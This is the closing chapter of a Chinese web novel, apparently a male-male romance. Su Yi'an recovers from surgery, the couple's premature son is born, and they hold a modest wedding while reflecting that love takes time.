他想告诉苏以安曾经欺负过他的人他都会一个一个亲手送进去,想说只要有他在,总有一天没人敢再给他委屈受。 谢不辞不理解沈伊那句不会有什么大事具体代表什么,也没敢去细琢磨沈伊没跟他说的有可能会留下的小病根,能影响苏以安到什么程度。 活着就好。 在苏以安转普通病房之前,谢夫人还给谢不辞拍了在保温箱里的孩子的照片。 小小一个,长得谁也不像,皱皱巴巴得跟个小老头一样。 但是孩子嘛,凑合养一养,他俩的孩子怎么可能不好看呢。 公司暂时没有需要谢不辞操心的事情,他就抱着雪团在苏以安身边守了两天两夜,心里一直不断发誓再也不会让苏以安受这样的苦。 然后谢不辞等了两天都没等来苏以安睁眼,他就下去给雪团买个奶瓶刷的空,回来就见苏以安靠在床头坐着,望向窗外。 怀里还抱着雪团。 听见谢不辞回来的动静,还朝他笑了笑。 虽然苏以安没说话,但谢不辞能感觉到,他心情挺好的。 “睡这么久,就没什么想跟我说的?” 谢不辞把东西放下,顺手给苏以安倒了杯水。 “有啊。” “活着就是有种神奇的魅力,从手术室这么走一遭回来,硬是连你都给看顺眼了。” 谢不辞没理会他的故意埋汰:“沈伊跟你说没,你没事,你已经没有乱七八糟的病了,根治。” “没发现有什么并发症。” “现在就有一种,胜方结算动画的感觉。” 苏以安一点也没给面子:“没有,不是,你别乱说。” “哦,那可能,我跟你办个婚礼就有了吧。” 谢不辞原本还纠结着要怎么开这个口才显得不俗套,结果没曾想苏以安刚醒,他就给自己找到了台阶。 “谁要跟你办婚礼,有那个钱还不如带孩子吃点好的。” 习惯了苏以安的说话风格,谢不辞也没跟他客气:“我说的是跟你办个婚礼,谁说给你办了。” “知道是给谁看的吗。” 还没等谢不辞继续往下说,苏以安就率先接话:“知道。” “给头牌哥看的,他要把雪团当成是他的孩子跟你要走,你不服气,你得办个婚礼当胜利结算动画跟他炫耀炫耀。” 谢不辞:…… 这个喷不了,这个是真的了解他,把他要说得一个字都不差的替他说了。 “那你愿意吗?” “不愿意。” 拒绝得一点情面都不留。 谢不辞本来还有点挫败,但没成想苏以安画风一转:“我嫌你那个直男审美丢人,我要自己办。” 能远离病痛折磨,还不为生计发愁,就已经算得上是过得很不错的了。 那一直住在保温箱里的小孩,也是个男孩,还没取名字。 生得挺不容易的,这几个月的时间里,各种乱七八杂的药用了不少,但好在除了早产抵抗力比较弱以外,也没什么先天疾病。 带着孩子一家四口出了医院以后。 苏以安确实筹划着办了场婚礼。 不算豪华,只追求面子上过得去,然后走个流程。 没让司仪问什么爱不爱之类的问题。 因为他回答不上来。 他觉得,成年人说这些太幼稚了,他也不愿意在那么多人面前一定要说这句违心的。 伤口愈合需要时间,感受爱也是。 他选择谢不辞,是因为谢不辞这个人本身就很好,不会抠抠搜搜,再困难也不会为了钱不择手段。 但想让谢不辞成为好爸爸好丈夫可能还得再等一等。 没有了疾病,苏以安也没什么可着急的。 起码,他的孩子很爱他,这一点永远都不会改变。 年轻时总会犯点自己无法解决又没时间后悔的事情,好在,没什么是时间无法冲淡的。 细算一算,这么大起大落都过来了,也没法再跟别人走到一起了。 人跟人的缘分,自相遇那刻起,便是注定的。 ——正文完——